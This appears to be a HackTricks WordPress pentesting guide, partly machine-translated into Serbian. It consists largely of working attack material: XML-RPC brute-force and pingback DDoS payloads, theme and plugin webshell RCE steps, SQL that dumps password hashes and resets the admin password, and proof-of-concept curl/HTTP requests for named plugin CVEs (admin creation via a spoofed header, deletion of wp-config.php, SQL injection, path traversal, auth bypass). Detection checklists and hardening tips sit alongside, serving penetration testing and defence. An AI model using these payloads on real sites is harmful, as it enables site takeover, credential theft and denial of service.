Wordpress
Reading time: 32 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, pa ako izmenite neki php teme da biste dobili RCE verovatno ćete koristiti taj put. Na primer: Koristeći theme twentytwelve možete access fajl 404.php na: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
U wp-config.php možete naći root lozinku baze podataka.
-
Podrazumevani login putevi za proveru: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Glavni WordPress fajlovi
index.phplicense.txtsadrži korisne informacije kao što je verzija WordPress koja je instalirana.wp-activate.phpse koristi za email aktivacioni proces prilikom podešavanja novog WordPress sajta.- Login folderi (mogu biti preimenovani da bi se sakrili):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpje fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao encoding mehanizam. Ova vrsta komunikacije je zamenjena WordPress REST API.- Folder
wp-contentje glavni direktorijum gde se čuvaju plugins i themes. wp-content/uploads/je direktorijum gde se čuvaju fajlovi otpremljeni na platformu.wp-includes/je direktorijum gde se nalaze core fajlovi, kao što su certificates, fonts, JavaScript fajlovi i widgets.wp-sitemap.xmlU Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno queryable post tipovima i taksonomijama.
Post exploitation
- Fajl
wp-config.phpsadrži informacije potrebne WordPress-u za konekciju sa bazom podataka kao što su ime baze, host baze, korisničko ime i lozinka, authentication keys i salts, i prefix tabela baze. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema.
Dozvole korisnika
- Administrator
- Editor: Objavljuje i upravlja svojim i tuđim postovima
- Author: Objavljuje i upravlja sopstvenim postovima
- Contributor: Piše i upravlja svojim postovima ali ne može da ih objavi
- Subscriber: Pregleda postove i uređuje svoj profil
Pasivna enumeracija
Dobijanje verzije WordPress-a
Proverite da li možete pronaći fajlove /license.txt ili /readme.html
U izvornom kodu stranice (primer sa https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS link fajlovi
.png)
- JavaScript fajlovi
.png)
Preuzmi dodatke
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Preuzimanje tema
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Izdvajanje verzija uopšteno
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktivna enumeracija
Dodaci i teme
Verovatno nećete moći da pronađete sve plugine i teme koje su moguće. Da biste otkrili sve, moraćete da aktivno Brute Force-ujete listu plugina i tema (nadamo se da postoje automatizovani alati koji sadrže te liste).
Korisnici
- ID Brute: Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
curl -s -I -X GET http://blog.example.com/?author=1
Ako su odgovori 200 ili 30X, to znači da je id važeći. Ako je odgovor 400, id je nevažeći.
- wp-json: Takođe možete pokušati da dobijete informacije o korisnicima upitom:
curl http://blog.example.com/wp-json/wp/v2/users
Još jedan /wp-json/ endpoint koji može otkriti neke informacije o korisnicima je:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su kreirali post. Biće pružene samo informacije o korisnicima koji imaju ovu funkciju omogućenu.
Takođe imajte na umu da /wp-json/wp/v2/pages može leak IP adrese.
- Login username enumeration: Kada se logujete na
/wp-login.php, poruka se razlikuje i ukazuje da li korisničko ime postoji ili ne.
XML-RPC
Ako je xml-rpc.php aktivan, možete izvršiti credentials brute-force ili ga koristiti za pokretanje DoS napada na druge resurse. (Ovaj proces možete automatizovati, na primer using this).
Da biste proverili da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljite ovaj zahtev:
Provera
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories ili metaWeblog.getUsersBlogs su neki od metoda koji se mogu koristiti za brute-force credentials. Ako pronađete bilo koji od njih, možete poslati nešto poput:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Poruka "Incorrect username or password" u odgovoru sa kodom 200 treba да се појави ако credentials nisu validni.
%20(2)%20(2)%20(2)%20(2)%20(2)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(2)%20(4)%20(1).png)
.png)
Koristeći ispravne credentials možete otpremiti fajl. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Takođe postoji brži način da izvršite brute-force nad credentials koristeći system.multicall, jer možete probati više credentials u istom zahtevu:
.png)
Bypass 2FA
Ova metoda je namenjena programima, ne ljudima, i zastarela je, zato ne podržava 2FA. Dakle, ako imate valid creds ali je glavni pristup zaštićen 2FA, možda ćete moći da zloupotrebite xmlrpc.php da se prijavite tim creds zaobilazeći 2FA. Imajte na umu da nećete moći da izvršite sve akcije koje možete iz konzole, ali možda ćete ipak uspeti da dođete do RCE kao što Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Ako možete naći metodu pingback.ping u listi, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.
Ovo se može iskoristiti da se zamoli thousands of Wordpress sites da access jednu location (tako se u toj lokaciji izaziva DDoS) ili možete iskoristiti da naterate Wordpress lo scan neki interni network (možete navesti bilo koji port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.
Pogledajte upotrebu system.multicall u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu za DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: /wp-cron.php
Kada se ovaj fajl pristupi, izvršava se "težak" MySQL upit, pa ga napadači mogu iskoristiti da izazovu DoS.
Takođe, podrazumevano, wp-cron.php se poziva pri svakom učitavanju stranice (kad god klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će u redovnim intervalima izvršavati potrebne akcije (bez izazivanja problema).
/wp-json/oembed/1.0/proxy - SSRF
Pokušajte pristupiti https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Worpress sajt može poslati zahtev prema vama.
This is the response when it doesn't work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy i, ako postoje, pokušava da ih iskoristi.
Automatski alati
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Dobijanje pristupa prepisivanjem bita
Više radoznalost nego stvarni napad. U CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogao si preokrenuti 1 bit u bilo kojoj wordpress datoteci. Tako si mogao preokrenuti bit na poziciji 5389 fajla /var/www/html/wp-includes/user.php i pretvoriti NOT (!) u NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modifying a php from the theme used (potrebni administratorski kredencijali)
Izgled → Uređivač teme → 404 Template (sa desne strane)
Zamenite sadržaj php shell-om:
.png)
Potražite na internetu kako da pristupite toj ažuriranoj stranici. U ovom slučaju treba da pristupite ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Možete koristiti:
use exploit/unix/webapp/wp_admin_shell_upload
da biste dobili sesiju.
Plugin RCE
PHP plugin
Može biti moguće otpremiti .php fajlove kao plugin.
Kreirajte svoj PHP backdoor koristeći na primer:
.png)
Zatim dodajte novi plugin:
.png)
Otpremite plugin i pritisnite Install Now:
.png)
Kliknite na Procced:
.png)
Verovatno ovo naizgled neće ništa uraditi, ali ako odete u Media, videćete svoj shell koji je otpremljen:
.png)
Pristupite mu i videćete URL za izvršavanje reverse shell-a:
.png)
Uploading and activating malicious plugin
Ovaj metod podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način:
- Nabavka plugina: Plugin se dobija iz izvora kao što je Exploit DB kao here.
- Instalacija plugina:
- Idite na WordPress dashboard, zatim na
Dashboard > Plugins > Upload Plugin. - Otpremite zip fajl skinutog plugina.
- Plugin Activation: Nakon što je plugin uspešno instaliran, mora biti aktiviran kroz dashboard.
- Exploitation:
- Sa instaliranim i aktiviranim pluginom "reflex-gallery" može biti iskorišćen jer je poznato da je ranjiv.
- Metasploit framework pruža an exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, što daje neautorizovan pristup sajtu.
- Napominje se da je ovo samo jedan od mnogih metoda za iskorišćavanje WordPress sajta.
Sadržaj uključuje vizuelne prikaze koraka u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da iskorišćavanje ranjivosti na ovaj način predstavlja protivpravnu i neetičku radnju bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u pravnom okviru, poput penetration testing-a sa izričitom dozvolom.
Za detaljnije korake pogledajte: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost u Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte this post. Pruža support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:
- Privilege Escalation: Kreira korisnika u WordPress-u.
- (RCE) Custom Plugin (backdoor) Upload: Otpremite svoj custom plugin (backdoor) u WordPress.
- (RCE) Built-In Plugin Edit: Izmenite Built-In plugine u WordPress-u.
- (RCE) Built-In Theme Edit: Izmenite Built-In teme u WordPress-u.
- (Custom) Custom Exploits: Custom exploits za third-party WordPress plugine/teme.
Post Exploitation
Ekstrahujte korisnička imena i lozinke:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Promeni administratorsku lozinku:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest Wordpress pluginova
Površina napada
Razumevanje kako Wordpress plugin može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u toj funkcionalnosti. Možete videti na koji način plugin može izložiti funkcionalnost u sledećim tačkama i nekoliko primera ranjivih pluginova u this blog post.
wp_ajax
Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često je da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju WordPress nonce-a koji bilo koji autentifikovani korisnik u WordPress instanci može imati (bez obzira na ulogu).
Ovo su funkcije koje se mogu koristiti da izlože funkciju u pluginu:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Korišćenje nopriv čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).
caution
Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije wp_verify_nonce, ta funkcija samo proverava da li je korisnik ulogovan, obično ne proverava ulogu korisnika. Zato korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
- REST API
Takođe je moguće izložiti funkcije iz wordpress registracijom REST API-ja koristeći funkciju register_rest_route:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
Ako se koristi ugrađena funkcija __return_true, jednostavno će preskočiti proveru korisničkih dozvola.
- Direct access to the php file
Naravno, Wordpress koristi PHP i fajlovi unutar pluginova su direktno dostupni preko weba. Dakle, ako plugin izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, to će biti iskoristivo od strane svakog korisnika.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
- Impact: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(forces user ID 1, typically the first administrator account). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Zašto funkcioniše
- Plugin preslikava header koji kontroliše klijent na authentication state i preskače capability checks.
- WordPress core očekuje
create_userscapability za ovu rutu; plugin hack ga zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz header-a.
Očekivani indikatori uspeha
- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
- Novi admin korisnik vidljiv u
wp-admin/users.php.
Kontrolna lista za detekciju
- Grep za
getallheaders(),$_SERVER['HTTP_...'], ili vendor SDKs koji čitaju custom headers da bi postavili user context (npr.wp_set_current_user(),wp_set_auth_cookie()). - Pregled REST registracija za privilegovane callbacks koji nemaju robusne
permission_callbackprovere i umesto toga se oslanjaju na request headers. - Traži upotrebe core user-management funkcija (
wp_insert_user,wp_create_user) unutar REST handlera koje su ograničene samo vrednostima header-a.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used callback postaje dostupan neautentifikovanim posetiocima, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()or at leastis_user_logged_in()), i - A CSRF nonce validated with
check_ajax_referer()/wp_verify_nonce(), i - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemi uvedeni ovim isječkom:
- Unauthenticated access – registrovan je hook
wp_ajax_nopriv_. - No nonce / capability check – bilo koji posetilac može da pozove endpoint.
- No path sanitisation – string
fontfamilykoji kontroliše korisnik se konkatenira u putanju fajl sistema bez filtriranja, omogućavajući klasičan../../traversal.
Eksploatacija
Napadač može obrisati bilo koji fajl ili direktorijum ispod osnovnog uploads direktorijuma (obično <wp-root>/wp-content/uploads/) slanjem jednog HTTP POST zahteva:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Drugi značajni ciljevi uključuju plugin/tema .php fajlove (npr. za onemogućavanje security plugin-a) ili .htaccess pravila.
Detection checklist
- Bilo koji
add_action( 'wp_ajax_nopriv_...')callback koji poziva filesystem helper-e (copy(),unlink(),$wp_filesystem->delete(), itd.). - Konkatenacija nesanitizovanih korisničkih ulaza u puteve (tražite
$_POST,$_GET,$_REQUEST). - Nedostatak
check_ajax_referer()icurrent_user_can()/is_user_logged_in().
Povišenje privilegija putem vraćanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role")
Mnogi plugin-i implementiraju "view as role" ili privremenu promenu uloge tako što sačuvaju originalnu ulogu/e u user meta kako bi ih mogli vratiti kasnije. Ako se put vraćanja oslanja samo na request parametre (npr. $_REQUEST['reset-for']) i na listu koju održava plugin, bez provere capabilities i važećeg nonce-a, to postaje vertikalno povišenje privilegija.
Primer iz realnog sveta je pronađen u Admin and Site Enhancements (ASE) plugin-u (≤ 7.6.2.1). Reset grana je vraćala uloge na osnovu reset-for=<username> ako je korisničko ime postojalo u internom nizu $options['viewing_admin_as_role_are'], ali nije izvršila ni current_user_can() proveru ni nonce verifikaciju pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta _asenha_view_admin_as_original_roles:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Zašto je iskorišćivo
- Veruje
$_REQUEST['reset-for']i opciji plugina bez autorizacije na strani servera. - Ako je korisnik ranije imao više privilegija sačuvanih u
_asenha_view_admin_as_original_rolesi bio je degradiran, može ih vratiti tako što će pristupiti putanji za reset. - U nekim instalacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u
viewing_admin_as_role_are(pokvarena autorizacija).
Eksploatacija (primer)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Na ranjivim verzijama ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. administrator), efektivno eskalirajući privilegije.
Detection checklist
- Potražite funkcije za prebacivanje role koje čuvaju “izvorne role” u user meta (npr.
_asenha_view_admin_as_original_roles). - Identifikujte reset/restore putanje koje:
- Čitaju korisnička imena iz
$_REQUEST/$_GET/$_POST. - Modifikuju role preko
add_role()/remove_role()bezcurrent_user_can()iwp_verify_nonce()/check_admin_referer(). - Autorizuju na osnovu niza opcija plugina (npr.
viewing_admin_as_role_are) umesto na sposobnostima aktera.
- Čitaju korisnička imena iz
Neautentifikovana eskalacija privilegija putem prebacivanja korisnika koji se oslanja na cookie na javnom init (Service Finder “sf-booking”)
Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni init hook i izvode identitet iz cookie-ja koji kontroliše klijent. Ako kod poziva wp_set_auth_cookie() bez provere autentikacije, capability i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika.
Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Zašto je moguće iskoristiti
- Javni
inithook čini handler dostupan neautentifikovanim korisnicima (nemais_user_logged_in()provere). - Identitet potiče iz cookie-ja koji klijent može izmeniti (
original_user_id). - Direktan poziv
wp_set_auth_cookie($uid)uloguje zahtevaoca kao tog korisnika bez bilo kakvih capability/nonce provera.
Eksploatacija (bez autentifikacije)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF razmatranja za WordPress/plugin CVEs
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokog uticaja WordPress/plugin ranjivosti su greške u logici/auth specifične za aplikaciju koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin-ova.
Ofanzivne napomene
- Ciljajte plugin-specifične endpoints sa clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Prvo testirajte unauth paths (AJAX
nopriv, REST sa permissivepermission_callback, public shortcodes). Default payloads često uspevaju bez obfuscation. - Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Odbrambene napomene
- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVE-ove. Implementirajte application-layer, vulnerability-specific virtual patches ili brzo ažurirajte.
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negative regex filtera.
Zaštita WordPress-a
Redovna ažuriranja
Uverite se da su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Takođe, instalirajte samo pouzdane WordPress pluginove i teme.
Sigurnosni pluginovi
Ostale preporuke
- Uklonite podrazumevanog admin korisnika
- Koristite jake lozinke i 2FA
- Periodično pregledajte dozvole korisnika
- Ograničite broj pokušaja prijave da biste sprečili Brute Force napade
- Preimenujte fajl
wp-admin.phpi dozvolite pristup samo interno ili sa određenih IP adresa.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin je izložio zadatak savecategory koji na kraju izvršava sledeći ranjivi kod u modules/category/model.php::validateFormData():
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemi uvedeni ovim isječkom:
- Nesanitizovani korisnički unos –
parentiddolazi direktno iz HTTP zahteva. - Spajanje stringova unutar WHERE klauzule – nema
is_numeric()/esc_sql()/ pripremljenog upita. - Neautentifikovan pristup – iako se akcija izvršava kroz
admin-post.php, jedina provera koja postoji je a CSRF nonce (wp_verify_nonce()), koji bilo koji posetilac može preuzeti sa javne stranice koja ubacuje shortcode[wpjobportal_my_resumes].
Eksploatacija
- Preuzmi novi nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injektuj proizvoljan SQL zloupotrebom
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
Neautentifikovano Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Još jedan zadatak, downloadcustomfile, je omogućavao posetiocima da preuzmu bilo koji fajl na disku putem path traversal-a. Ranljiv sink se nalazi u modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name je pod kontrolom napadača i konkateniran bez sanitizacije. Ponovo, jedina prepreka je CSRF nonce koji se može dohvatiti sa stranice rezimea.
Eksploatacija
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
The server responds with the contents of wp-config.php, leaking DB credentials and auth keys.
Preuzimanje naloga bez autentifikacije preko Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Mnogo tema/plugina sadrži "social login" pomoćnike izložene putem admin-ajax.php. Ako neautentifikovana AJAX akcija (wp_ajax_nopriv_...) veruje identifikatorima koje šalje klijent kada podaci provajdera nedostaju i zatim pozove wp_set_auth_cookie(), to postaje potpuni zaobilaženje autentifikacije.
Tipičan pogrešan obrazac (pojednostavljeno)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Zašto je iskorištivo
- Pristup bez autentifikacije preko admin-ajax.php (wp_ajax_nopriv_… action).
- Nema provere nonce/capability pre promene stanja.
- Nedostaje verifikacija OAuth/OpenID providera; default branch prihvata ulaz od napadača.
- get_user_by('email', $_POST['id']) praćeno wp_set_auth_cookie($uid) autentifikuje podnosioca zahteva kao bilo koju postojeću email adresu.
Eksploatacija (neautentifikovano)
- Preduslovi: napadač može da dosegne /wp-admin/admin-ajax.php i zna/pogađa važeću korisničku email adresu.
- Podesite provider na nepodržanu vrednost (ili ga izostavite) da biste pogodili default branch i prosledili id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* za korisnika žrtve; naredni zahtevi su autentifikovani.
Finding the action name
- Pregledajte temu/plugin za add_action('wp_ajax_nopriv_...', '...') registracije u kodu za social login (npr. framework/add-ons/social-login/class-social-login.php).
- Grep za wp_set_auth_cookie(), get_user_by('email', ...) unutar AJAX handlera.
Detection checklist
